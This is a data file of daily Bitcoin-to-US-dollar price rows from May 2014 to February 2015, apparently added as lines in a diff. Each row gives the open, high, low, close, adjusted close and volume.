+2014-05-16,448.1000061035156,455.1499938964844,441.8599853515625,453.6300048828125,453.6300048828125,799913,BTC-USD +2014-05-17,453.6300048828125,455.94000244140625,452.2300109863281,452.7900085449219,452.7900085449219,776390,BTC-USD +2014-05-18,452.7900085449219,454.0,449.0400085449219,450.1400146484375,450.1400146484375,653912,BTC-USD +2014-05-19,450.1400146484375,451.69000244140625,441.20001220703125,443.8999938964844,443.8999938964844,602742,BTC-USD +2014-05-20,443.8999938964844,486.2300109863281,437.25,484.57000732421875,484.57000732421875,883359,BTC-USD +2014-05-21,484.57000732421875,495.2099914550781,481.7300109863281,488.8399963378906,488.8399963378906,689104,BTC-USD +2014-05-22,488.8399963378906,519.25,485.54998779296875,515.3599853515625,515.3599853515625,1589075,BTC-USD +2014-05-23,515.3599853515625,540.8800048828125,515.1799926757812,518.0900268554688,518.0900268554688,1457339,BTC-USD +2014-05-24,518.0900268554688,526.6500244140625,510.4200134277344,520.4600219726562,520.4600219726562,1492790,BTC-USD +2014-05-25,520.4600219726562,575.1900024414062,520.530029296875,570.4400024414062,570.4400024414062,1037758,BTC-USD +2014-05-26,570.4400024414062,586.4099731445312,564.6500244140625,582.010009765625,582.010009765625,1712997,BTC-USD +2014-05-27,582.010009765625,586.219970703125,555.280029296875,570.0999755859375,570.0999755859375,1947436,BTC-USD +2014-05-28,570.0999755859375,581.8099975585938,562.5599975585938,570.8400268554688,570.8400268554688,2054559,BTC-USD +2014-05-29,570.8400268554688,573.8300170898438,557.7000122070312,564.4199829101562,564.4199829101562,2121556,BTC-USD +2014-05-30,564.4199829101562,613.260009765625,564.02001953125,612.3499755859375,612.3499755859375,3688564,BTC-USD +2014-05-31,612.3499755859375,629.0399780273438,604.72998046875,627.9099731445312,627.9099731445312,2738340,BTC-USD +2014-06-01,627.9099731445312,674.97998046875,621.9500122070312,649.7899780273438,649.7899780273438,2322782,BTC-USD +2014-06-02,649.7899780273438,662.6300048828125,625.4600219726562,655.489990234375,655.489990234375,2650871,BTC-USD +2014-06-03,655.489990234375,676.469970703125,631.4199829101562,669.4299926757812,669.4299926757812,2883100,BTC-USD +2014-06-04,669.4299926757812,669.780029296875,602.0999755859375,638.9299926757812,638.9299926757812,3601867,BTC-USD +2014-06-05,638.9299926757812,665.3900146484375,635.5900268554688,660.1799926757812,660.1799926757812,1825395,BTC-USD +2014-06-06,660.1799926757812,663.8400268554688,647.1199951171875,650.4099731445312,650.4099731445312,3978265,BTC-USD +2014-06-07,650.4099731445312,659.77001953125,641.02001953125,651.6699829101562,651.6699829101562,1298892,BTC-USD +2014-06-08,651.6699829101562,658.8800048828125,648.6699829101562,651.0499877929688,651.0499877929688,2167689,BTC-USD +2014-06-09,651.0499877929688,652.1199951171875,639.0800170898438,644.3499755859375,644.3499755859375,2126014,BTC-USD +2014-06-10,644.3499755859375,661.4400024414062,641.6799926757812,655.6199951171875,655.6199951171875,2340867,BTC-USD +2014-06-11,655.6199951171875,663.0399780273438,642.280029296875,642.9500122070312,642.9500122070312,2491455,BTC-USD +2014-06-12,642.9500122070312,643.7999877929688,591.1199951171875,597.1300048828125,597.1300048828125,2928622,BTC-USD +2014-06-13,597.1300048828125,619.1400146484375,594.8699951171875,610.3499755859375,610.3499755859375,4612164,BTC-USD +2014-06-14,610.3499755859375,613.77001953125,563.6799926757812,583.4199829101562,583.4199829101562,2985483,BTC-USD +2014-06-15,583.4199829101562,587.8300170898438,560.8499755859375,582.2899780273438,582.2899780273438,2272289,BTC-USD +2014-06-16,582.2899780273438,606.1400146484375,580.4500122070312,599.0800170898438,599.0800170898438,2403694,BTC-USD +2014-06-17,599.0800170898438,608.4299926757812,594.8599853515625,605.0900268554688,605.0900268554688,1820590,BTC-USD +2014-06-18,605.0900268554688,614.4000244140625,603.6099853515625,606.2100219726562,606.2100219726562,2037434,BTC-USD +2014-06-19,606.2100219726562,612.5800170898438,598.6699829101562,600.1699829101562,600.1699829101562,3433287,BTC-USD +2014-06-20,600.1699829101562,602.0499877929688,587.0999755859375,590.75,590.75,1312852,BTC-USD +2014-06-21,590.75,599.2100219726562,584.8200073242188,597.0399780273438,597.0399780273438,1373722,BTC-USD +2014-06-22,597.0399780273438,610.0800170898438,591.989990234375,603.6199951171875,603.6199951171875,1240859,BTC-USD +2014-06-23,603.6199951171875,604.6500244140625,582.8599853515625,591.1699829101562,591.1699829101562,1594834,BTC-USD +2014-06-24,591.1699829101562,595.6500244140625,585.4099731445312,588.77001953125,588.77001953125,1840620,BTC-USD +2014-06-25,588.77001953125,589.5599975585938,566.8800048828125,568.4500122070312,568.4500122070312,1797681,BTC-USD +2014-06-26,568.4500122070312,582.7100219726562,565.8499755859375,582.7000122070312,582.7000122070312,2401035,BTC-USD +2014-06-27,582.7000122070312,603.9400024414062,580.1400146484375,602.22998046875,602.22998046875,2015064,BTC-USD +2014-06-28,602.22998046875,608.760009765625,593.969970703125,597.5599975585938,597.5599975585938,1778752,BTC-USD +2014-06-29,597.5599975585938,604.280029296875,593.1900024414062,601.0599975585938,601.0599975585938,1736172,BTC-USD +2014-06-30,601.0599975585938,637.280029296875,596.5499877929688,635.1400146484375,635.1400146484375,2394861,BTC-USD +2014-07-01,635.1400146484375,652.5399780273438,634.0900268554688,643.1900024414062,643.1900024414062,2675353,BTC-USD +2014-07-02,643.1900024414062,652.0999755859375,604.5800170898438,645.719970703125,645.719970703125,3099761,BTC-USD +2014-07-03,645.719970703125,646.4000244140625,633.5800170898438,638.030029296875,638.030029296875,2580980,BTC-USD +2014-07-04,638.030029296875,642.219970703125,623.0399780273438,623.9600219726562,623.9600219726562,2291612,BTC-USD +2014-07-05,623.9600219726562,627.7999877929688,619.6900024414062,622.9600219726562,622.9600219726562,2034965,BTC-USD +2014-07-06,622.9600219726562,629.4400024414062,622.6500244140625,626.6500244140625,626.6500244140625,1698242,BTC-USD +2014-07-07,626.6500244140625,627.9299926757812,607.3200073242188,613.5999755859375,613.5999755859375,1590944,BTC-USD +2014-07-08,613.5999755859375,619.6500244140625,609.3499755859375,615.3200073242188,615.3200073242188,2004899,BTC-USD +2014-07-09,615.3200073242188,623.8200073242188,610.530029296875,623.0,623.0,1920482,BTC-USD +2014-07-10,623.0,624.9500122070312,611.6599731445312,618.3900146484375,618.3900146484375,2253171,BTC-USD +2014-07-11,618.3900146484375,633.6199951171875,616.1099853515625,632.9000244140625,632.9000244140625,1969199,BTC-USD +2014-07-12,632.9000244140625,638.5900268554688,625.9000244140625,635.9000244140625,635.9000244140625,2179286,BTC-USD +2014-07-13,635.9000244140625,638.6400146484375,627.5399780273438,628.030029296875,628.030029296875,1082830,BTC-USD +2014-07-14,628.030029296875,628.989990234375,616.0599975585938,618.3200073242188,618.3200073242188,1601572,BTC-USD +2014-07-15,618.3200073242188,624.4199829101562,617.2999877929688,619.5999755859375,619.5999755859375,2310446,BTC-USD +2014-07-16,619.5999755859375,622.3599853515625,614.1500244140625,614.7999877929688,614.7999877929688,1873008,BTC-USD +2014-07-17,614.7999877929688,632.5499877929688,610.010009765625,626.5800170898438,626.5800170898438,1833775,BTC-USD +2014-07-18,626.5800170898438,630.1500244140625,617.9199829101562,627.469970703125,627.469970703125,2109225,BTC-USD +2014-07-19,627.469970703125,634.1400146484375,625.1400146484375,627.0399780273438,627.0399780273438,2505181,BTC-USD +2014-07-20,627.0399780273438,627.9299926757812,619.9600219726562,620.97998046875,620.97998046875,1442853,BTC-USD +2014-07-21,620.97998046875,625.9299926757812,615.02001953125,625.1300048828125,625.1300048828125,1596614,BTC-USD +2014-07-22,625.1300048828125,628.8099975585938,620.0,622.530029296875,622.530029296875,2068876,BTC-USD +2014-07-23,622.530029296875,624.989990234375,621.0,621.6900024414062,621.6900024414062,1372935,BTC-USD +2014-07-24,621.6900024414062,621.9600219726562,599.3800048828125,601.8699951171875,601.8699951171875,2896094,BTC-USD +2014-07-25,601.8699951171875,609.0599975585938,597.4000244140625,600.5,600.5,3592179,BTC-USD +2014-07-26,600.5,602.97998046875,593.25,596.0,596.0,2095634,BTC-USD +2014-07-27,596.0,601.489990234375,593.6900024414062,595.030029296875,595.030029296875,2118021,BTC-USD +2014-07-28,595.030029296875,597.489990234375,578.1400146484375,587.9299926757812,587.9299926757812,1391966,BTC-USD +2014-07-29,587.9299926757812,591.280029296875,579.530029296875,585.77001953125,585.77001953125,3962906,BTC-USD +2014-07-30,585.77001953125,586.1300048828125,564.1799926757812,564.6400146484375,564.6400146484375,2397473,BTC-USD +2014-07-31,564.6400146484375,593.72998046875,564.010009765625,589.52001953125,589.52001953125,2057947,BTC-USD +2014-08-01,589.52001953125,603.989990234375,586.4299926757812,598.780029296875,598.780029296875,5356663,BTC-USD +2014-08-02,598.780029296875,598.9099731445312,587.4199829101562,591.719970703125,591.719970703125,1278807,BTC-USD +2014-08-03,591.719970703125,592.0599975585938,580.6199951171875,588.9400024414062,588.9400024414062,752201,BTC-USD +2014-08-04,588.9400024414062,595.0900268554688,586.489990234375,592.77001953125,592.77001953125,2047890,BTC-USD +2014-08-05,592.77001953125,594.25,585.4400024414062,588.760009765625,588.760009765625,2429310,BTC-USD +2014-08-06,588.760009765625,593.7899780273438,587.2000122070312,589.77001953125,589.77001953125,1785940,BTC-USD +2014-08-07,589.77001953125,595.0800170898438,587.9199829101562,592.7999877929688,592.7999877929688,1485017,BTC-USD +2014-08-08,592.7999877929688,608.2000122070312,592.0800170898438,595.8499755859375,595.8499755859375,1873039,BTC-USD +2014-08-09,595.8499755859375,595.5599975585938,587.4099731445312,589.52001953125,589.52001953125,843722,BTC-USD +2014-08-10,589.52001953125,596.6400146484375,588.0599975585938,592.0599975585938,592.0599975585938,796584,BTC-USD +2014-08-11,592.0599975585938,593.6199951171875,571.719970703125,575.8900146484375,575.8900146484375,1512262,BTC-USD +2014-08-12,575.8900146484375,578.2899780273438,561.97998046875,567.6599731445312,567.6599731445312,1894843,BTC-USD +2014-08-13,567.6599731445312,573.510009765625,523.1500244140625,542.0999755859375,542.0999755859375,2659458,BTC-USD +2014-08-14,542.0999755859375,544.9400024414062,495.94000244140625,504.79998779296875,504.79998779296875,5608470,BTC-USD +2014-08-15,504.79998779296875,515.239990234375,483.2099914550781,496.45001220703125,496.45001220703125,2407799,BTC-USD +2014-08-16,496.45001220703125,524.25,483.239990234375,522.010009765625,522.010009765625,1956441,BTC-USD +2014-08-17,522.010009765625,524.7100219726562,478.2200012207031,485.5,485.5,1584568,BTC-USD +2014-08-18,485.5,493.260009765625,449.95001220703125,462.17999267578125,462.17999267578125,2991012,BTC-USD +2014-08-19,462.17999267578125,487.04998779296875,455.79998779296875,485.1199951171875,485.1199951171875,2458098,BTC-USD +2014-08-20,485.1199951171875,521.8400268554688,468.510009765625,516.780029296875,516.780029296875,2965577,BTC-USD +2014-08-21,516.780029296875,537.1699829101562,511.3599853515625,517.9400024414062,517.9400024414062,2974478,BTC-USD +2014-08-22,517.9400024414062,524.4400024414062,500.57000732421875,516.0999755859375,516.0999755859375,3116862,BTC-USD +2014-08-23,516.0999755859375,516.8200073242188,493.9800109863281,497.67999267578125,497.67999267578125,1596652,BTC-USD +2014-08-24,497.67999267578125,514.8200073242188,496.80999755859375,509.7099914550781,509.7099914550781,1294320,BTC-USD +2014-08-25,509.7099914550781,511.3299865722656,499.7099914550781,502.92999267578125,502.92999267578125,1409621,BTC-USD +2014-08-26,502.92999267578125,516.0399780273438,501.80999755859375,512.5599975585938,512.5599975585938,1831000,BTC-USD +2014-08-27,512.5599975585938,527.3699951171875,512.6599731445312,515.22998046875,515.22998046875,1982424,BTC-USD +2014-08-28,515.22998046875,521.5900268554688,503.3399963378906,510.75,510.75,2307082,BTC-USD +2014-08-29,510.75,515.1799926757812,506.69000244140625,512.5599975585938,512.5599975585938,1876846,BTC-USD +2014-08-30,512.5599975585938,512.9099731445312,503.1199951171875,505.9599914550781,505.9599914550781,1337420,BTC-USD +2014-08-31,505.9599914550781,508.3399963378906,478.30999755859375,481.7799987792969,481.7799987792969,2982601,BTC-USD +2014-09-01,481.7799987792969,487.4700012207031,471.7799987792969,477.19000244140625,477.19000244140625,3261178,BTC-USD +2014-09-02,477.19000244140625,486.989990234375,470.5400085449219,478.94000244140625,478.94000244140625,3291738,BTC-USD +2014-09-03,478.94000244140625,487.2900085449219,476.82000732421875,480.0400085449219,480.0400085449219,3018772,BTC-USD +2014-09-04,480.0400085449219,498.4700012207031,476.260009765625,490.989990234375,490.989990234375,4345165,BTC-USD +2014-09-05,490.989990234375,495.0199890136719,483.07000732421875,483.6499938964844,483.6499938964844,3013185,BTC-USD +2014-09-06,483.6499938964844,491.3800048828125,480.7900085449219,484.4700012207031,484.4700012207031,1883095,BTC-USD +2014-09-07,484.4700012207031,490.7200012207031,478.489990234375,485.75,485.75,1755360,BTC-USD +2014-09-08,485.75,487.0199890136719,469.5,475.69000244140625,475.69000244140625,3948928,BTC-USD +2014-09-09,475.69000244140625,478.6000061035156,467.5199890136719,474.8999938964844,474.8999938964844,3529051,BTC-USD +2014-09-10,474.8999938964844,491.0400085449219,471.57000732421875,479.70001220703125,479.70001220703125,4058785,BTC-USD +2014-09-11,479.70001220703125,488.9200134277344,474.57000732421875,478.489990234375,478.489990234375,3086920,BTC-USD +2014-09-12,478.489990234375,479.7099914550781,471.1400146484375,477.7300109863281,477.7300109863281,2514548,BTC-USD +2014-09-13,477.7300109863281,480.6400146484375,474.6400146484375,478.1700134277344,478.1700134277344,2569793,BTC-USD +2014-09-14,478.1700134277344,480.3299865722656,471.9599914550781,477.739990234375,477.739990234375,2031789,BTC-USD +2014-09-15,477.739990234375,479.2799987792969,473.70001220703125,477.7099914550781,477.7099914550781,2753462,BTC-USD +2014-09-16,477.7099914550781,478.80999755859375,463.95001220703125,466.75,466.75,3139554,BTC-USD +2014-09-17,466.75,469.3900146484375,458.2699890136719,461.0899963378906,461.0899963378906,3522262,BTC-USD +2014-09-18,461.0899963378906,462.260009765625,408.7699890136719,424.260009765625,424.260009765625,3946908,BTC-USD +2014-09-19,424.260009765625,429.1700134277344,386.1000061035156,397.6700134277344,397.6700134277344,6062707,BTC-USD +2014-09-20,397.6700134277344,427.69000244140625,387.5,411.5299987792969,411.5299987792969,5919676,BTC-USD +2014-09-21,411.5299987792969,415.07000732421875,394.5199890136719,401.6199951171875,401.6199951171875,4229727,BTC-USD +2014-09-22,401.6199951171875,410.75,398.6000061035156,404.0899963378906,404.0899963378906,5531782,BTC-USD +2014-09-23,404.0899963378906,445.510009765625,394.75,436.8599853515625,436.8599853515625,7490861,BTC-USD +2014-09-24,436.8599853515625,439.19000244140625,422.1000061035156,423.7699890136719,423.7699890136719,9217984,BTC-USD +2014-09-25,423.7699890136719,427.54998779296875,409.55999755859375,412.2900085449219,412.2900085449219,6143388,BTC-USD +2014-09-26,412.2900085449219,416.4200134277344,399.70001220703125,404.4599914550781,404.4599914550781,4966479,BTC-USD +2014-09-27,404.4599914550781,407.07000732421875,394.69000244140625,399.0199890136719,399.0199890136719,3950428,BTC-USD +2014-09-28,399.0199890136719,402.2699890136719,374.1199951171875,379.0799865722656,379.0799865722656,5453338,BTC-USD +2014-09-29,379.0799865722656,389.260009765625,372.6300048828125,376.7699890136719,376.7699890136719,7924759,BTC-USD +2014-09-30,376.7699890136719,395.17999267578125,374.7300109863281,388.1700134277344,388.1700134277344,6520432,BTC-USD +2014-10-01,388.1700134277344,395.1300048828125,381.1099853515625,382.8399963378906,382.8399963378906,6892843,BTC-USD +2014-10-02,382.8399963378906,385.5899963378906,371.20001220703125,375.1400146484375,375.1400146484375,5471103,BTC-USD +2014-10-03,375.1400146484375,378.2200012207031,362.80999755859375,363.45001220703125,363.45001220703125,6278574,BTC-USD +2014-10-04,363.45001220703125,369.8800048828125,327.1000061035156,335.32000732421875,335.32000732421875,8050734,BTC-USD +2014-10-05,335.32000732421875,344.25,294.9200134277344,322.8599853515625,322.8599853515625,9512572,BTC-USD +2014-10-06,322.8599853515625,347.94000244140625,303.04998779296875,331.54998779296875,331.54998779296875,13642089,BTC-USD +2014-10-07,331.54998779296875,345.510009765625,321.739990234375,331.6499938964844,331.6499938964844,10076018,BTC-USD +2014-10-08,331.6499938964844,351.6400146484375,325.42999267578125,350.8699951171875,350.8699951171875,7413499,BTC-USD +2014-10-09,350.8699951171875,384.6099853515625,347.57000732421875,360.9100036621094,360.9100036621094,13020038,BTC-USD +2014-10-10,360.9100036621094,378.1300048828125,353.32000732421875,361.7099914550781,361.7099914550781,10394856,BTC-USD +2014-10-11,361.7099914550781,370.1499938964844,350.489990234375,361.2200012207031,361.2200012207031,5049013,BTC-USD +2014-10-12,361.2200012207031,374.57000732421875,352.25,373.1700134277344,373.1700134277344,4077867,BTC-USD +2014-10-13,373.1700134277344,391.2200012207031,366.0400085449219,387.32000732421875,387.32000732421875,8935310,BTC-USD +2014-10-14,387.32000732421875,407.739990234375,385.7200012207031,397.1000061035156,397.1000061035156,11549913,BTC-USD +2014-10-15,397.1000061035156,397.8699951171875,388.2300109863281,393.1700134277344,393.1700134277344,8867207,BTC-USD +2014-10-16,393.1700134277344,398.8399963378906,371.55999755859375,379.7699890136719,379.7699890136719,7999668,BTC-USD +2014-10-17,379.7699890136719,384.760009765625,372.4200134277344,380.4800109863281,380.4800109863281,6324477,BTC-USD +2014-10-18,380.4800109863281,395.7099914550781,373.5799865722656,390.8800048828125,390.8800048828125,3657801,BTC-USD +2014-10-19,390.8800048828125,394.489990234375,383.9200134277344,387.2799987792969,387.2799987792969,2088508,BTC-USD +2014-10-20,387.2799987792969,387.7699890136719,378.4200134277344,380.3900146484375,380.3900146484375,4075710,BTC-USD +2014-10-21,380.3900146484375,388.239990234375,377.4200134277344,382.3500061035156,382.3500061035156,3745779,BTC-USD +2014-10-22,382.3500061035156,383.69000244140625,376.9700012207031,378.92999267578125,378.92999267578125,4064736,BTC-USD +2014-10-23,378.92999267578125,381.0799865722656,353.4800109863281,355.7799987792969,355.7799987792969,6999640,BTC-USD +2014-10-24,355.7799987792969,360.8699951171875,351.4100036621094,355.1000061035156,355.1000061035156,7185001,BTC-USD +2014-10-25,355.1000061035156,356.57000732421875,341.5299987792969,346.7200012207031,346.7200012207031,4929757,BTC-USD +2014-10-26,346.7200012207031,356.79998779296875,344.19000244140625,348.6700134277344,348.6700134277344,4076756,BTC-USD +2014-10-27,348.6700134277344,356.3500061035156,344.92999267578125,350.0899963378906,350.0899963378906,3777108,BTC-USD +2014-10-28,350.0899963378906,355.7200012207031,348.2699890136719,351.05999755859375,351.05999755859375,3372185,BTC-USD +2014-10-29,351.05999755859375,352.8299865722656,334.7200012207031,335.1199951171875,335.1199951171875,4259966,BTC-USD +2014-10-30,335.1199951171875,350.3800048828125,333.44000244140625,344.8599853515625,344.8599853515625,5522262,BTC-USD +2014-10-31,344.8599853515625,347.9700012207031,336.0799865722656,337.8699951171875,337.8699951171875,4814121,BTC-USD +2014-11-01,337.8699951171875,339.0,320.739990234375,325.42999267578125,325.42999267578125,4540440,BTC-USD +2014-11-02,325.42999267578125,329.760009765625,319.80999755859375,322.54998779296875,322.54998779296875,3878749,BTC-USD +2014-11-03,322.54998779296875,332.8500061035156,321.6700134277344,324.239990234375,324.239990234375,4435458,BTC-USD +2014-11-04,324.239990234375,328.75,320.1099853515625,327.9599914550781,327.9599914550781,4955240,BTC-USD +2014-11-05,327.9599914550781,341.9800109863281,326.5199890136719,338.010009765625,338.010009765625,5342189,BTC-USD +2014-11-06,338.010009765625,351.1400146484375,335.739990234375,347.6700134277344,347.6700134277344,5388972,BTC-USD +2014-11-07,347.6700134277344,351.6099853515625,340.17999267578125,341.8699951171875,341.8699951171875,5215262,BTC-USD +2014-11-08,341.8699951171875,346.2900085449219,339.79998779296875,343.5400085449219,343.5400085449219,2834855,BTC-USD +2014-11-09,343.5400085449219,362.2099914550781,341.7799987792969,362.0400085449219,362.0400085449219,4466556,BTC-USD +2014-11-10,362.0400085449219,374.6700134277344,356.6000061035156,367.1499938964844,367.1499938964844,8387025,BTC-USD +2014-11-11,367.1499938964844,370.989990234375,361.8699951171875,365.4200134277344,365.4200134277344,5817809,BTC-USD +2014-11-12,365.4200134277344,442.7300109863281,365.80999755859375,432.0299987792969,432.0299987792969,15737081,BTC-USD +2014-11-13,432.0299987792969,480.45001220703125,390.8800048828125,428.7200012207031,428.7200012207031,25304725,BTC-USD +2014-11-14,428.7200012207031,430.17999267578125,381.989990234375,396.5299987792969,396.5299987792969,14250930,BTC-USD +2014-11-15,396.5299987792969,407.32000732421875,367.9700012207031,374.8599853515625,374.8599853515625,5185270,BTC-USD +2014-11-16,374.8599853515625,390.3599853515625,370.5400085449219,385.6099853515625,385.6099853515625,5497204,BTC-USD +2014-11-17,385.6099853515625,412.3299865722656,378.32000732421875,384.69000244140625,384.69000244140625,10942934,BTC-USD +2014-11-18,384.69000244140625,394.94000244140625,371.95001220703125,379.1600036621094,379.1600036621094,10404772,BTC-USD +2014-11-19,379.1600036621094,389.2900085449219,374.260009765625,381.42999267578125,381.42999267578125,7592152,BTC-USD +2014-11-20,381.42999267578125,383.0299987792969,355.1099853515625,357.29998779296875,357.29998779296875,8084810,BTC-USD +2014-11-21,357.29998779296875,358.7300109863281,343.79998779296875,351.7699890136719,351.7699890136719,8291129,BTC-USD +2014-11-22,351.7699890136719,364.2099914550781,350.510009765625,352.010009765625,352.010009765625,4632290,BTC-USD +2014-11-23,352.010009765625,370.5899963378906,352.6400146484375,365.8500061035156,365.8500061035156,4504560,BTC-USD +2014-11-24,365.8500061035156,388.7200012207031,361.9200134277344,378.8500061035156,378.8500061035156,9244691,BTC-USD +2014-11-25,378.8500061035156,395.7300109863281,370.6400146484375,376.42999267578125,376.42999267578125,17405251,BTC-USD +2014-11-26,376.42999267578125,378.2699890136719,363.989990234375,365.3500061035156,365.3500061035156,8916241,BTC-USD +2014-11-27,365.3500061035156,374.42999267578125,364.80999755859375,368.8299865722656,368.8299865722656,5144146,BTC-USD +2014-11-28,368.8299865722656,383.25,358.3699951171875,377.5899963378906,377.5899963378906,16118258,BTC-USD +2014-11-29,377.5899963378906,389.29998779296875,372.2099914550781,376.2799987792969,376.2799987792969,31983637,BTC-USD +2014-11-30,376.2799987792969,381.05999755859375,372.57000732421875,374.92999267578125,374.92999267578125,4269105,BTC-USD +2014-12-01,374.92999267578125,383.5799865722656,373.0199890136719,378.6099853515625,378.6099853515625,7481865,BTC-USD +2014-12-02,378.6099853515625,384.8699951171875,375.3699951171875,380.6400146484375,380.6400146484375,9664274,BTC-USD +2014-12-03,380.6400146484375,384.6700134277344,373.6400146484375,376.9599914550781,376.9599914550781,8950322,BTC-USD +2014-12-04,376.9599914550781,380.42999267578125,366.239990234375,369.8399963378906,369.8399963378906,9521316,BTC-USD +2014-12-05,369.8399963378906,379.70001220703125,366.3900146484375,377.6300048828125,377.6300048828125,11251853,BTC-USD +2014-12-06,377.6300048828125,380.3299865722656,372.0400085449219,376.260009765625,376.260009765625,4181319,BTC-USD +2014-12-07,376.260009765625,377.8800048828125,372.4599914550781,376.4700012207031,376.4700012207031,3334332,BTC-USD +2014-12-08,376.4700012207031,377.3599853515625,364.6000061035156,364.95001220703125,364.95001220703125,8506201,BTC-USD +2014-12-09,364.95001220703125,365.3500061035156,343.82000732421875,352.19000244140625,352.19000244140625,15529628,BTC-USD +2014-12-10,352.19000244140625,354.07000732421875,345.0899963378906,347.94000244140625,347.94000244140625,9535221,BTC-USD +2014-12-11,347.94000244140625,367.1300048828125,337.79998779296875,347.67999267578125,347.67999267578125,18063629,BTC-USD +2014-12-12,347.67999267578125,356.42999267578125,346.0,353.3999938964844,353.3999938964844,9490205,BTC-USD +2014-12-13,353.3999938964844,353.1000061035156,343.80999755859375,348.239990234375,348.239990234375,6837218,BTC-USD +2014-12-14,348.239990234375,351.5899963378906,344.6099853515625,349.3500061035156,349.3500061035156,4328238,BTC-USD +2014-12-15,349.3500061035156,351.2200012207031,343.55999755859375,345.3699951171875,345.3699951171875,7746836,BTC-USD +2014-12-16,345.3699951171875,346.45001220703125,328.8800048828125,330.2200012207031,330.2200012207031,13001054,BTC-USD +2014-12-17,330.2200012207031,335.6700134277344,314.30999755859375,320.0199890136719,320.0199890136719,19834674,BTC-USD +2014-12-18,320.0199890136719,325.6199951171875,303.3999938964844,310.3399963378906,310.3399963378906,18932813,BTC-USD +2014-12-19,310.3399963378906,320.239990234375,306.3599853515625,317.7799987792969,317.7799987792969,13119110,BTC-USD +2014-12-20,317.7799987792969,332.6199951171875,316.04998779296875,330.3500061035156,330.3500061035156,9768954,BTC-USD +2014-12-21,330.3500061035156,332.0299987792969,320.1300048828125,322.6300048828125,322.6300048828125,6746131,BTC-USD +2014-12-22,322.6300048828125,335.260009765625,319.8900146484375,330.8399963378906,330.8399963378906,11694687,BTC-USD +2014-12-23,330.8399963378906,339.32000732421875,328.0,335.25,335.25,8057502,BTC-USD +2014-12-24,335.25,336.2799987792969,320.6499938964844,322.3999938964844,322.3999938964844,7112691,BTC-USD +2014-12-25,322.3999938964844,323.3800048828125,316.29998779296875,318.989990234375,318.989990234375,4926116,BTC-USD +2014-12-26,318.989990234375,332.8800048828125,316.3599853515625,329.9800109863281,329.9800109863281,7518851,BTC-USD +2014-12-27,329.9800109863281,330.70001220703125,311.9800109863281,315.3399963378906,315.3399963378906,6940336,BTC-USD +2014-12-28,315.3399963378906,322.8399963378906,310.5,316.5299987792969,316.5299987792969,6482718,BTC-USD +2014-12-29,316.5299987792969,321.6099853515625,308.2799987792969,314.1199951171875,314.1199951171875,6457547,BTC-USD +2014-12-30,314.1199951171875,316.17999267578125,309.25,311.2699890136719,311.2699890136719,7163083,BTC-USD +2014-12-31,311.2699890136719,319.0899963378906,308.8900146484375,318.239990234375,318.239990234375,6472822,BTC-USD +2015-01-01,318.239990234375,321.3599853515625,313.5400085449219,314.8900146484375,314.8900146484375,4073067,BTC-USD +2015-01-02,314.8900146484375,316.3999938964844,313.0799865722656,315.2099914550781,315.2099914550781,4673971,BTC-USD +2015-01-03,315.2099914550781,315.8299865722656,284.8900146484375,287.1300048828125,287.1300048828125,14209564,BTC-USD +2015-01-04,287.1300048828125,289.94000244140625,255.8699951171875,264.7200012207031,264.7200012207031,24255392,BTC-USD +2015-01-05,264.7200012207031,278.32000732421875,262.8900146484375,274.8399963378906,274.8399963378906,14995382,BTC-USD +2015-01-06,274.8399963378906,285.1099853515625,271.5199890136719,282.2699890136719,282.2699890136719,6097640,BTC-USD +2015-01-07,282.2699890136719,296.05999755859375,280.739990234375,291.3399963378906,291.3399963378906,8827164,BTC-USD +2015-01-08,291.3399963378906,292.7099914550781,278.989990234375,282.69000244140625,282.69000244140625,5796312,BTC-USD +2015-01-09,282.69000244140625,290.5899963378906,277.2799987792969,287.9700012207031,287.9700012207031,5963203,BTC-USD +2015-01-10,287.9700012207031,289.25,271.9800109863281,273.3500061035156,273.3500061035156,4147357,BTC-USD +2015-01-11,273.3500061035156,278.010009765625,263.760009765625,264.7699890136719,264.7699890136719,4122751,BTC-USD +2015-01-12,264.7699890136719,273.0799865722656,263.29998779296875,269.3299865722656,269.3299865722656,6899315,BTC-USD +2015-01-13,269.3299865722656,269.1000061035156,217.10000610351562,221.2899932861328,221.2899932861328,22745960,BTC-USD +2015-01-14,221.2899932861328,230.86000061035156,157.2899932861328,164.9199981689453,164.9199981689453,32911586,BTC-USD +2015-01-15,164.9199981689453,231.25999450683594,164.5500030517578,209.77999877929688,209.77999877929688,25672423,BTC-USD +2015-01-16,209.77999877929688,222.6300048828125,198.72000122070312,206.9199981689453,206.9199981689453,13208882,BTC-USD +2015-01-17,206.9199981689453,212.58999633789062,191.7100067138672,199.64999389648438,199.64999389648438,8685194,BTC-USD +2015-01-18,199.64999389648438,220.72999572753906,192.50999450683594,210.6199951171875,210.6199951171875,8429486,BTC-USD +2015-01-19,210.6199951171875,219.47999572753906,205.47000122070312,215.8699951171875,215.8699951171875,6744459,BTC-USD +2015-01-20,215.8699951171875,216.57000732421875,203.4199981689453,210.5500030517578,210.5500030517578,7926400,BTC-USD +2015-01-21,210.5500030517578,229.32000732421875,207.11000061035156,228.1699981689453,228.1699981689453,9390361,BTC-USD +2015-01-22,228.1699981689453,238.77999877929688,225.57000732421875,232.6999969482422,232.6999969482422,12508308,BTC-USD +2015-01-23,232.6999969482422,236.97000122070312,224.83999633789062,232.1699981689453,232.1699981689453,8855407,BTC-USD +2015-01-24,232.1699981689453,248.8800048828125,229.5800018310547,248.16000366210938,248.16000366210938,8011743,BTC-USD +2015-01-25,248.16000366210938,256.42999267578125,241.36000061035156,252.08999633789062,252.08999633789062,12509649,BTC-USD +2015-01-26,252.08999633789062,310.9100036621094,251.5,269.17999267578125,269.17999267578125,29806496,BTC-USD +2015-01-27,269.17999267578125,276.8999938964844,247.25999450683594,263.2699890136719,263.2699890136719,13130803,BTC-USD +2015-01-28,263.2699890136719,267.6600036621094,228.05999755859375,236.1699981689453,236.1699981689453,15880595,BTC-USD +2015-01-29,236.1699981689453,241.50999450683594,220.36000061035156,233.99000549316406,233.99000549316406,12723448,BTC-USD +2015-01-30,233.99000549316406,244.8300018310547,227.19000244140625,231.83999633789062,231.83999633789062,11316575,BTC-USD +2015-01-31,231.83999633789062,235.36000061035156,216.4600067138672,218.50999450683594,218.50999450683594,9645307,BTC-USD +2015-02-01,218.50999450683594,231.44000244140625,209.7100067138672,225.2899932861328,225.2899932861328,9058010,BTC-USD +2015-02-02,225.2899932861328,242.50999450683594,220.52999877929688,238.86000061035156,238.86000061035156,8965813,BTC-USD +2015-02-03,238.86000061035156,247.47999572753906,223.91000366210938,227.41000366210938,227.41000366210938,15000263,BTC-USD +2015-02-04,227.41000366210938,230.7100067138672,220.22999572753906,226.5800018310547,226.5800018310547,12495299,BTC-USD 